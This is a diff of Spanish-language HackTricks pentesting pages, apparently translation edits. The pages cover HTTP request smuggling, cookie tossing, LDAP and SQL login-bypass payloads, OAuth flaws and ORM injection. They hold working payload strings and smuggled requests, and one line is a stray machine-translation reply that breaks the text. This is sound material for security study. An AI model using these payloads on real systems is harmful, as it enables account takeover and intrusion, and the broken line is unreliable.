Dependiendo de quién tenga **la ruta más específica** o cuál sea la **más antigua**, el navegador **establecerá primero el valor de la cookie** y luego el valor de la otra como en: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;`
|
||||
|
||||
La mayoría de **los sitios web solo usarán el primer valor**. Entonces, si un atacante quiere establecer una cookie, es mejor establecerla antes de que se establezca otra o establecerla con una ruta más específica.
|
||||
|
||||
@ -42,9 +42,9 @@ cookie-jar-overflow.md
|
||||
|
||||
Otro **bypass** útil podría ser **codificar en URL el nombre de la cookie** ya que algunas protecciones verifican 2 cookies con el mismo nombre en una solicitud y luego el servidor decodificará los nombres de las cookies.
|
||||
|
||||
### Bomba de Cookies
|
||||
### Cookie Bomb
|
||||
|
||||
Un ataque de Cookie Tossing también puede ser utilizado para realizar un ataque de **Bomba de Cookies**:
|
||||
Un ataque de Cookie Tossing también puede ser utilizado para realizar un **Cookie Bomb**:
|
||||
|
||||
{{#ref}}
|
||||
cookie-bomb.md
|
||||
@ -54,7 +54,7 @@ cookie-bomb.md
|
||||
|
||||
#### **Usar el prefijo `__Host` en el nombre de la cookie**
|
||||
|
||||
- Si un nombre de cookie tiene este prefijo, **solo será aceptado** en una directiva Set-Cookie si está marcado como Seguro, fue enviado desde un origen seguro, no incluye un atributo de Dominio y tiene el atributo de Ruta establecido en /
|
||||
- Si un nombre de cookie tiene este prefijo, **solo será aceptado** en una directiva Set-Cookie si está marcado como Seguro, fue enviado desde un origen seguro, no incluye un atributo Domain y tiene el atributo Path establecido en /
|
||||
- **Esto previene que los subdominios fuerzan una cookie al dominio principal ya que estas cookies pueden ser vistas como "bloqueadas por dominio"**
|
||||
|
||||
### Referencias
|
||||
|
||||
@ -33,14 +33,14 @@ Recuerda que en HTTP **un carácter de nueva línea está compuesto por 2 bytes:
|
||||
|
||||
- **Content-Length**: Este encabezado utiliza un **número decimal** para indicar el **número** de **bytes** del **cuerpo** de la solicitud. Se espera que el cuerpo termine en el último carácter, **no se necesita una nueva línea al final de la solicitud**.
|
||||
- **Transfer-Encoding:** Este encabezado utiliza en el **cuerpo** un **número hexadecimal** para indicar el **número** de **bytes** del **siguiente fragmento**. El **fragmento** debe **terminar** con una **nueva línea** pero esta nueva línea **no se cuenta** por el indicador de longitud. Este método de transferencia debe terminar con un **fragmento de tamaño 0 seguido de 2 nuevas líneas**: `0`
|
||||
- **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del HTTP Smuggling.
|
||||
- **Connection**: Basado en mi experiencia, se recomienda usar **`Connection: keep-alive`** en la primera solicitud del HTTP Request Smuggling.
|
||||
|
||||
## Ejemplos Básicos
|
||||
|
||||
> [!TIP]
|
||||
> Al intentar explotar esto con Burp Suite **desactiva `Update Content-Length` y `Normalize HTTP/1 line endings`** en el repetidor porque algunos gadgets abusan de nuevas líneas, retornos de carro y content-lengths malformados.
|
||||
|
||||
Los ataques de HTTP request smuggling se elaboran enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL** y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de que los servidores procesan la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
|
||||
Los ataques de HTTP request smuggling se elaboran enviando solicitudes ambiguas que explotan discrepancias en cómo los servidores de front-end y back-end interpretan los encabezados `Content-Length` (CL) y `Transfer-Encoding` (TE). Estos ataques pueden manifestarse en diferentes formas, principalmente como **CL.TE**, **TE.CL**, y **TE.TE**. Cada tipo representa una combinación única de cómo los servidores de front-end y back-end priorizan estos encabezados. Las vulnerabilidades surgen de que los servidores procesan la misma solicitud de diferentes maneras, lo que lleva a resultados inesperados y potencialmente maliciosos.
|
||||
|
||||
### Ejemplos Básicos de Tipos de Vulnerabilidad
|
||||
|
||||
@ -271,10 +271,10 @@ Después de confirmar la efectividad de las técnicas de temporización, es cruc
|
||||
|
||||
Al probar vulnerabilidades de request smuggling interfiriendo con otras solicitudes, ten en cuenta:
|
||||
|
||||
- **Conexiones de Red Distintas:** Las solicitudes "atacantes" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
|
||||
- **Conexiones de Red Distintas:** Las solicitudes "de ataque" y "normales" deben enviarse a través de conexiones de red separadas. Utilizar la misma conexión para ambas no valida la presencia de la vulnerabilidad.
|
||||
- **URL y Parámetros Consistentes:** Intenta usar URLs y nombres de parámetros idénticos para ambas solicitudes. Las aplicaciones modernas a menudo dirigen las solicitudes a servidores de back-end específicos según la URL y los parámetros. Coincidir estos aumenta la probabilidad de que ambas solicitudes sean procesadas por el mismo servidor, un requisito previo para un ataque exitoso.
|
||||
- **Condiciones de Temporización y Carrera:** La solicitud "normal", destinada a detectar interferencias de la solicitud "atacante", compite contra otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "atacante". Las aplicaciones ocupadas pueden requerir múltiples intentos para una confirmación concluyente de vulnerabilidad.
|
||||
- **Desafíos de Balanceo de Carga:** Los servidores frontales que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "atacantes" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
|
||||
- **Condiciones de Temporización y Carrera:** La solicitud "normal", destinada a detectar interferencias de la solicitud "de ataque", compite contra otras solicitudes concurrentes de la aplicación. Por lo tanto, envía la solicitud "normal" inmediatamente después de la solicitud "de ataque". Las aplicaciones ocupadas pueden requerir múltiples intentos para una confirmación concluyente de vulnerabilidad.
|
||||
- **Desafíos de Balanceo de Carga:** Los servidores frontales que actúan como balanceadores de carga pueden distribuir solicitudes entre varios sistemas de back-end. Si las solicitudes "de ataque" y "normales" terminan en diferentes sistemas, el ataque no tendrá éxito. Este aspecto de balanceo de carga puede requerir varios intentos para confirmar una vulnerabilidad.
|
||||
- **Impacto No Intencionado en el Usuario:** Si tu ataque impacta inadvertidamente la solicitud de otro usuario (no la solicitud "normal" que enviaste para la detección), esto indica que tu ataque influyó en otro usuario de la aplicación. Las pruebas continuas podrían interrumpir a otros usuarios, lo que requiere un enfoque cauteloso.
|
||||
|
||||
## Abusando de HTTP Request Smuggling
|
||||
@ -320,9 +320,9 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
Por el contrario, en el ataque TE.CL, la solicitud `POST` inicial utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
|
||||
Por el contrario, en el ataque TE.CL, la solicitud inicial `POST` utiliza `Transfer-Encoding: chunked`, y la solicitud embebida subsiguiente se procesa en función del encabezado `Content-Length`. Similar al ataque CL.TE, el proxy de front-end pasa por alto la solicitud `GET /admin` contrabandeada, otorgando inadvertidamente acceso a la ruta restringida `/admin`.
|
||||
|
||||
### Revelando la reescritura de solicitudes en el front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Revelando la reescritura de solicitudes de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Las aplicaciones a menudo emplean un **servidor de front-end** para modificar las solicitudes entrantes antes de pasarlas al servidor de back-end. Una modificación típica implica agregar encabezados, como `X-Forwarded-For: <IP del cliente>`, para transmitir la IP del cliente al back-end. Comprender estas modificaciones puede ser crucial, ya que podría revelar formas de **eludir protecciones** o **descubrir información o puntos finales ocultos**.
|
||||
|
||||
@ -422,13 +422,13 @@ Al manipular el `User-Agent` a través del smuggling, el payload elude las restr
|
||||
> [!CAUTION]
|
||||
> En caso de que el contenido del usuario se refleje en una respuesta con un **`Content-type`** como **`text/plain`**, impidiendo la ejecución del XSS. Si el servidor soporta **HTTP/0.9, podría ser posible eludir esto**!
|
||||
|
||||
La versión HTTP/0.9 fue anterior a la 1.0 y solo utiliza verbos **GET** y **no** responde con **encabezados**, solo el cuerpo.
|
||||
La versión HTTP/0.9 fue anterior a la 1.0 y solo utiliza verbos **GET** y **no** responde con **encabezados**, solo con el cuerpo.
|
||||
|
||||
En [**este writeup**](https://mizu.re/post/twisty-python), esto fue abusado con un smuggling de solicitudes y un **punto final vulnerable que responderá con la entrada del usuario** para smuggling una solicitud con HTTP/0.9. El parámetro que se reflejará en la respuesta contenía una **respuesta HTTP/1.1 falsa (con encabezados y cuerpo)**, por lo que la respuesta contendrá código JS ejecutable válido con un `Content-Type` de `text/html`.
|
||||
|
||||
### Explotando redirecciones en el sitio con HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra diagonal al final resulta en una redirección para incluir la barra:
|
||||
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra final resulta en una redirección para incluir la barra:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -464,7 +464,7 @@ Resultados en:
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario sirviendo JavaScript malicioso en respuesta.
|
||||
En este escenario, la solicitud de un usuario para un archivo JavaScript es secuestrada. El atacante puede comprometer potencialmente al usuario al servir JavaScript malicioso en respuesta.
|
||||
|
||||
### Explotando la contaminación de caché web a través del HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
@ -502,8 +502,8 @@ Posteriormente, cualquier solicitud para `/static/include.js` servirá el conten
|
||||
|
||||
> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
|
||||
>
|
||||
> - En **el envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||
> - En **el engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
||||
> - En el **envenenamiento de caché web**, el atacante provoca que la aplicación almacene contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
|
||||
> - En el **engaño de caché web**, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
|
||||
|
||||
El atacante elabora una solicitud contrabandeada que obtiene contenido sensible específico del usuario. Considera el siguiente ejemplo:
|
||||
```markdown
|
||||
@ -526,7 +526,7 @@ TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
Por favor, envíe una respuesta como:
|
||||
Por favor, envíame el contenido que deseas traducir.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -537,11 +537,11 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Un ejemplo de cómo abusar de este comportamiento sería **introducir primero una solicitud HEAD**. Esta solicitud será respondida solo con los **encabezados** de una solicitud GET (**`Content-Type`** entre ellos). Y introducir **inmediatamente después de la HEAD una solicitud TRACE**, que estará **reflejando los datos enviados**.\
|
||||
Un ejemplo de cómo abusar de este comportamiento sería **introducir primero una solicitud HEAD**. Esta solicitud será respondida solo con los **encabezados** de una solicitud GET (**`Content-Type`** entre ellos). Y introducir **inmediatamente después de la HEAD una solicitud TRACE**, que reflejará los datos enviados.\
|
||||
Como la respuesta HEAD contendrá un encabezado `Content-Length`, la **respuesta de la solicitud TRACE será tratada como el cuerpo de la respuesta HEAD, reflejando así datos arbitrarios** en la respuesta.\
|
||||
Esta respuesta se enviará a la siguiente solicitud a través de la conexión, por lo que esto podría ser **utilizado en un archivo JS en caché, por ejemplo, para inyectar código JS arbitrario**.
|
||||
|
||||
### Abusando de TRACE a través de la División de Respuestas HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Abusando de TRACE a través de la división de respuestas HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Continuar siguiendo [**esta publicación**](https://portswigger.net/research/trace-desync-attack) se sugiere como otra forma de abusar del método TRACE. Como se comentó, al introducir una solicitud HEAD y una solicitud TRACE es posible **controlar algunos datos reflejados** en la respuesta a la solicitud HEAD. La longitud del cuerpo de la solicitud HEAD está básicamente indicada en el encabezado Content-Length y se forma por la respuesta a la solicitud TRACE.
|
||||
|
||||
|
||||
@ -2,6 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Consulta la publicación [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
**Ver la publicación [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@ Esto se debe a que vamos a poder **desincronizar la cola de respuestas** para qu
|
||||
|
||||
### Desincronización del Pipeline HTTP
|
||||
|
||||
HTTP/1.1 permite solicitar **diferentes recursos sin necesidad de esperar por los anteriores**. Por lo tanto, si hay un **proxy** en el **medio**, es tarea del proxy **mantener un emparejamiento sincronizado de solicitudes enviadas al backend y respuestas que provienen de él**.
|
||||
HTTP/1.1 permite solicitar **diferentes recursos sin necesidad de esperar por los anteriores**. Por lo tanto, si hay un **proxy** en el **medio**, es tarea de los proxies **mantener un emparejamiento sincronizado de solicitudes enviadas al backend y respuestas que provienen de él**.
|
||||
|
||||
Sin embargo, hay un problema al desincronizar la cola de respuestas. Si un atacante envía un ataque de HTTP Response Smuggling y las respuestas a la **solicitud inicial y la smuggled son respondidas inmediatamente**, la respuesta smuggled no se insertará dentro de la cola de respuestas de la víctima, sino que **simplemente será descartada como un error**.
|
||||
|
||||
@ -58,7 +58,7 @@ Luego, una vez que la **solicitud inicial** (azul) fue **procesada** y **mientra
|
||||
|
||||
.png>)
|
||||
|
||||
Luego, la **víctima** recibirá la **respuesta** a la **solicitud lenta** y si mientras tanto el **atacante** **envió** **otra** **solicitud**, la **respuesta de la solicitud de contenido reflejado será enviada a él**.
|
||||
Luego, la **víctima** recibirá la **respuesta a la solicitud lenta** y si mientras tanto el **atacante** **envió** **otra** **solicitud**, la **respuesta de la solicitud de contenido reflejado será enviada a él**.
|
||||
|
||||
## Desincronización de Respuestas
|
||||
|
||||
@ -117,7 +117,7 @@ Para lograr esto, el atacante necesita encontrar un endpoint de la aplicación w
|
||||
|
||||
.png>)
|
||||
|
||||
Después de que la primera solicitud se resuelva y se envíe de vuelta al atacante, la **solicitud de la víctima se agrega a la cola**:
|
||||
Después de que la primera solicitud sea resuelta y enviada de vuelta al atacante, la **solicitud de la víctima se agrega a la cola**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -127,6 +127,6 @@ La víctima recibirá como respuesta la **respuesta HEAD + el contenido de la re
|
||||
|
||||
Sin embargo, nota cómo los **datos reflejados tenían un tamaño de acuerdo al Content-Length** de la **respuesta HEAD** que **generó una respuesta HTTP válida en la cola de respuestas**.
|
||||
|
||||
Por lo tanto, la **siguiente solicitud de la segunda víctima** estará **recibiendo** como **respuesta algo completamente elaborado por el atacante**. Como la respuesta es completamente elaborada por el atacante, también puede **hacer que el proxy almacene en caché la respuesta**.
|
||||
Por lo tanto, la **siguiente solicitud del segundo víctima** estará **recibiendo** como **respuesta algo completamente elaborado por el atacante**. Como la respuesta es completamente elaborada por el atacante, él también puede **hacer que el proxy almacene en caché la respuesta**.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,6 +4,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## LDAP Injection
|
||||
|
||||
### **LDAP**
|
||||
@ -56,7 +57,7 @@ Luego: `(&(objectClass=`**`*)(ObjectClass=*))`** será el primer filtro (el que
|
||||
|
||||
### Login Bypass
|
||||
|
||||
LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, se hash.
|
||||
LDAP soporta varios formatos para almacenar la contraseña: claro, md5, smd5, sh1, sha, crypt. Por lo tanto, podría ser que independientemente de lo que insertes dentro de la contraseña, esté hashada.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
||||
@ -13,7 +13,7 @@ Si encuentras una página de inicio de sesión, aquí puedes encontrar algunas t
|
||||
- **Cambia el tipo de contenido a json** y envía valores json (incluido bool true)
|
||||
- Si recibes una respuesta diciendo que POST no es compatible, puedes intentar enviar el **JSON en el cuerpo pero con una solicitud GET** con `Content-Type: application/json`
|
||||
- Verifica el posible error de análisis de nodejs (lee [**esto**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
|
||||
- Nodejs transformará esa carga útil a una consulta similar a la siguiente: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` lo que hace que el bit de la contraseña sea siempre verdadero.
|
||||
- Nodejs transformará esa carga útil a una consulta similar a la siguiente: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` lo que hace que la parte de la contraseña sea siempre verdadera.
|
||||
- Si puedes enviar un objeto JSON, puedes enviar `"password":{"password": 1}` para eludir el inicio de sesión.
|
||||
- Recuerda que para eludir este inicio de sesión aún necesitas **conocer y enviar un nombre de usuario válido**.
|
||||
- **Agregar la opción `"stringifyObjects":true`** al llamar a `mysql.createConnection` eventualmente **bloqueará todos los comportamientos inesperados cuando se pase `Object`** en el parámetro.
|
||||
@ -59,7 +59,7 @@ admin' or '1'='2
|
||||
```
|
||||
### Bypass de autenticación por inyección LDAP
|
||||
|
||||
[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **LDAP Injection.**](../ldap-injection.md#login-bypass)
|
||||
[Aquí puedes encontrar varios trucos para eludir el inicio de sesión a través de **inyección LDAP.**](../ldap-injection.md#login-bypass)
|
||||
```
|
||||
*
|
||||
*)(&
|
||||
@ -75,7 +75,7 @@ admin))(|(|
|
||||
```
|
||||
### Recuerdame
|
||||
|
||||
Si la página tiene funcionalidad de "**Recuerdame**", verifica cómo está implementada y ve si puedes abusar de ella para **tomar el control de otras cuentas**.
|
||||
Si la página tiene la funcionalidad de "**Recuerdame**", verifica cómo está implementada y ve si puedes abusar de ella para **tomar el control de otras cuentas**.
|
||||
|
||||
### Redirecciones
|
||||
|
||||
@ -84,7 +84,7 @@ Las páginas generalmente redirigen a los usuarios después de iniciar sesión,
|
||||
## Otras Comprobaciones
|
||||
|
||||
- Verifica si puedes **enumerar nombres de usuario** abusando de la funcionalidad de inicio de sesión.
|
||||
- Verifica si **autocompletar** está activo en los formularios de contraseña/**información** **sensible** **input:** `<input autocomplete="false">`
|
||||
- Verifica si **autocompletar** está activo en el campo de contraseña/**información** **sensible** **formularios** **entrada:** `<input autocomplete="false">`
|
||||
|
||||
## Herramientas Automáticas
|
||||
|
||||
|
||||
@ -12,15 +12,15 @@ Considera un sitio web hipotético _**https://example.com**_, diseñado para **m
|
||||
Es esencial comprender los siguientes componentes dentro del marco de OAuth 2.0:
|
||||
|
||||
- **resource owner**: Tú, como el **usuario/entidad**, autorizas el acceso a tu recurso, como las publicaciones de tu cuenta de redes sociales.
|
||||
- **resource server**: El **servidor que gestiona las solicitudes autenticadas** después de que la aplicación ha asegurado un `access token` en nombre del `resource owner`, p. ej., **https://socialmedia.com**.
|
||||
- **resource server**: El **servidor que gestiona las solicitudes autenticadas** después de que la aplicación ha asegurado un `access token` en nombre del `resource owner`, por ejemplo, **https://socialmedia.com**.
|
||||
- **client application**: La **aplicación que busca autorización** del `resource owner`, como **https://example.com**.
|
||||
- **authorization server**: El **servidor que emite `access tokens`** a la `client application` tras la autenticación exitosa del `resource owner` y la obtención de autorización, p. ej., **https://socialmedia.com**.
|
||||
- **authorization server**: El **servidor que emite `access tokens`** a la `client application` tras la autenticación exitosa del `resource owner` y la obtención de autorización, por ejemplo, **https://socialmedia.com**.
|
||||
- **client_id**: Un identificador público y único para la aplicación.
|
||||
- **client_secret:** Una clave confidencial, conocida únicamente por la aplicación y el servidor de autorización, utilizada para generar `access_tokens`.
|
||||
- **response_type**: Un valor que especifica **el tipo de token solicitado**, como `code`.
|
||||
- **scope**: El **nivel de acceso** que la `client application` está solicitando del `resource owner`.
|
||||
- **redirect_uri**: La **URL a la que el usuario es redirigido después de la autorización**. Esto generalmente debe alinearse con la URL de redirección pre-registrada.
|
||||
- **state**: Un parámetro para **mantener datos a través de la redirección del usuario hacia y desde el servidor de autorización**. Su singularidad es crítica para servir como un **mecanismo de protección CSRF**.
|
||||
- **state**: Un parámetro para **mantener datos a través de la redirección del usuario hacia y desde el servidor de autorización**. Su unicidad es crítica para servir como un **mecanismo de protección CSRF**.
|
||||
- **grant_type**: Un parámetro que indica **el tipo de concesión y el tipo de token que se devolverá**.
|
||||
- **code**: El código de autorización del `authorization server`, utilizado junto con `client_id` y `client_secret` por la `client application` para adquirir un `access_token`.
|
||||
- **access_token**: El **token que la `client application` utiliza para solicitudes API** en nombre del `resource owner`.
|
||||
@ -31,7 +31,7 @@ Es esencial comprender los siguientes componentes dentro del marco de OAuth 2.0:
|
||||
El **flujo real de OAuth** procede de la siguiente manera:
|
||||
|
||||
1. Navegas a [https://example.com](https://example.com) y seleccionas el botón “Integrar con Redes Sociales”.
|
||||
2. El sitio luego envía una solicitud a [https://socialmedia.com](https://socialmedia.com) pidiendo tu autorización para permitir que la aplicación de https://example.com acceda a tus publicaciones. La solicitud está estructurada como:
|
||||
2. El sitio luego envía una solicitud a [https://socialmedia.com](https://socialmedia.com) pidiendo tu autorización para permitir que la aplicación de https://example.com acceda a tus publicaciones. La solicitud se estructura como:
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
?response_type=code
|
||||
@ -77,7 +77,7 @@ En las implementaciones de OAuth, el uso indebido u omisión del **`state` param
|
||||
|
||||
Los atacantes pueden explotar esto interceptando el proceso de autorización para vincular su cuenta con la cuenta de una víctima, lo que lleva a posibles **tomas de control de cuentas**. Esto es especialmente crítico en aplicaciones donde se utiliza OAuth para **fines de autenticación**.
|
||||
|
||||
Se han documentado ejemplos del mundo real de esta vulnerabilidad en varios **CTF challenges** y **hacking platforms**, destacando sus implicaciones prácticas. El problema también se extiende a integraciones con servicios de terceros como **Slack**, **Stripe** y **PayPal**, donde los atacantes pueden redirigir notificaciones o pagos a sus cuentas.
|
||||
Se han documentado ejemplos del mundo real de esta vulnerabilidad en varios **CTF challenges** y **plataformas de hacking**, destacando sus implicaciones prácticas. El problema también se extiende a integraciones con servicios de terceros como **Slack**, **Stripe** y **PayPal**, donde los atacantes pueden redirigir notificaciones o pagos a sus cuentas.
|
||||
|
||||
El manejo y la validación adecuados del **`state` parameter** son cruciales para protegerse contra CSRF y asegurar el flujo de OAuth.
|
||||
|
||||
@ -90,7 +90,7 @@ El manejo y la validación adecuados del **`state` parameter** son cruciales par
|
||||
|
||||
Identificar y proteger los parámetros secretos de OAuth es crucial. Mientras que el **`client_id`** puede ser divulgado de manera segura, revelar el **`client_secret`** presenta riesgos significativos. Si el `client_secret` se ve comprometido, los atacantes pueden explotar la identidad y confianza de la aplicación para **robar `access_tokens` de usuario** e información privada.
|
||||
|
||||
Una vulnerabilidad común surge cuando las aplicaciones manejan erróneamente el intercambio del `code` de autorización por un `access_token` en el lado del cliente en lugar de en el lado del servidor. Este error lleva a la exposición del `client_secret`, permitiendo a los atacantes generar `access_tokens` bajo la apariencia de la aplicación. Además, a través de ingeniería social, los atacantes podrían escalar privilegios al agregar alcances adicionales a la autorización de OAuth, explotando aún más el estatus de confianza de la aplicación.
|
||||
Una vulnerabilidad común surge cuando las aplicaciones manejan erróneamente el intercambio del `code` de autorización por un `access_token` del lado del cliente en lugar del lado del servidor. Este error lleva a la exposición del `client_secret`, permitiendo a los atacantes generar `access_tokens` bajo la apariencia de la aplicación. Además, a través de ingeniería social, los atacantes podrían escalar privilegios añadiendo scopes adicionales a la autorización de OAuth, explotando aún más el estatus de confianza de la aplicación.
|
||||
|
||||
### Fuerza Bruta del Secreto del Cliente
|
||||
|
||||
@ -159,7 +159,7 @@ Esto se debe a que un **atacante** podría crear una **aplicación que soporte O
|
||||
|
||||
### Dos enlaces y cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Según [**este informe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era posible hacer que una víctima abriera una página con un **returnUrl** apuntando al host del atacante. Esta información sería **almacenada en una cookie (RU)** y en un **paso posterior** el **prompt** **preguntará** al **usuario** si desea dar acceso a ese host del atacante.
|
||||
Según [**este informe**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), era posible hacer que una víctima abriera una página con un **returnUrl** apuntando al host del atacante. Esta información se **almacenaría en una cookie (RU)** y en un **paso posterior** el **prompt** **preguntará** al **usuario** si desea dar acceso a ese host del atacante.
|
||||
|
||||
Para eludir este prompt, era posible abrir una pestaña para iniciar el **flujo de Oauth** que establecería esta cookie RU usando el **returnUrl**, cerrar la pestaña antes de que se muestre el prompt y abrir una nueva pestaña sin ese valor. Entonces, el **prompt no informará sobre el host del atacante**, pero la cookie se establecería en él, por lo que el **token se enviará al host del atacante** en la redirección.
|
||||
|
||||
@ -197,7 +197,7 @@ El Registro Dinámico de Clientes en OAuth sirve como un vector menos obvio pero
|
||||
|
||||
**Puntos Clave:**
|
||||
|
||||
- **El Registro Dinámico de Clientes** a menudo se mapea a `/register` y acepta detalles como `client_name`, `client_secret`, `redirect_uris`, y URLs para logotipos o Conjuntos de Claves Web JSON (JWKs) a través de solicitudes POST.
|
||||
- El **Registro Dinámico de Clientes** a menudo se mapea a `/register` y acepta detalles como `client_name`, `client_secret`, `redirect_uris`, y URLs para logotipos o Conjuntos de Claves Web JSON (JWKs) a través de solicitudes POST.
|
||||
- Esta característica se adhiere a las especificaciones establecidas en **RFC7591** y **OpenID Connect Registration 1.0**, que incluyen parámetros potencialmente vulnerables a SSRF.
|
||||
- El proceso de registro puede exponer inadvertidamente a los servidores a SSRF de varias maneras:
|
||||
- **`logo_uri`**: Una URL para el logotipo de la aplicación cliente que podría ser recuperada por el servidor, activando SSRF o llevando a XSS si la URL se maneja incorrectamente.
|
||||
@ -208,7 +208,7 @@ El Registro Dinámico de Clientes en OAuth sirve como un vector menos obvio pero
|
||||
**Estrategia de Explotación:**
|
||||
|
||||
- SSRF puede ser activado registrando un nuevo cliente con URLs maliciosas en parámetros como `logo_uri`, `jwks_uri`, o `sector_identifier_uri`.
|
||||
- Si bien la explotación directa a través de `request_uris` puede ser mitigada por controles de lista blanca, proporcionar un `request_uri` pre-registrado y controlado por el atacante puede facilitar SSRF durante la fase de autorización.
|
||||
- Si bien la explotación directa a través de `request_uris` puede ser mitigada por controles de lista blanca, proporcionar un `request_uri` controlado por un atacante previamente registrado puede facilitar SSRF durante la fase de autorización.
|
||||
|
||||
## Condiciones de Carrera de Proveedores OAuth
|
||||
|
||||
|
||||
@ -8,7 +8,7 @@ En [**esta publicación**](https://www.elttam.com/blog/plormbing-your-django-orm
|
||||
|
||||
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
||||
"""
|
||||
Una vista de API básica a la que los usuarios envían solicitudes para
|
||||
Una vista API básica a la que los usuarios envían solicitudes para
|
||||
buscar artículos
|
||||
"""
|
||||
def post(self, request: Request, format=None):
|
||||
@ -189,7 +189,7 @@ startsWith: "pas",
|
||||
> [!CAUTION]
|
||||
> Usar operaciones como `startsWith` puede provocar una filtración de información. 
|
||||
|
||||
- **Elusión de filtrado relacional de muchos a muchos:** 
|
||||
- **Elusión de filtrado relacional muchos-a-muchos:** 
|
||||
```javascript
|
||||
app.post("/articles", async (req, res) => {
|
||||
try {
|
||||
@ -290,7 +290,7 @@ GET /posts?q[user_reset_password_token_start]=0
|
||||
GET /posts?q[user_reset_password_token_start]=1
|
||||
...
|
||||
```
|
||||
Al forzar y potencialmente relacionar, fue posible filtrar más datos de una base de datos.
|
||||
Al realizar ataques de fuerza bruta y potencialmente relaciones, fue posible filtrar más datos de una base de datos.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -4,6 +4,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Resumen de Contaminación de Parámetros HTTP (HPP)
|
||||
|
||||
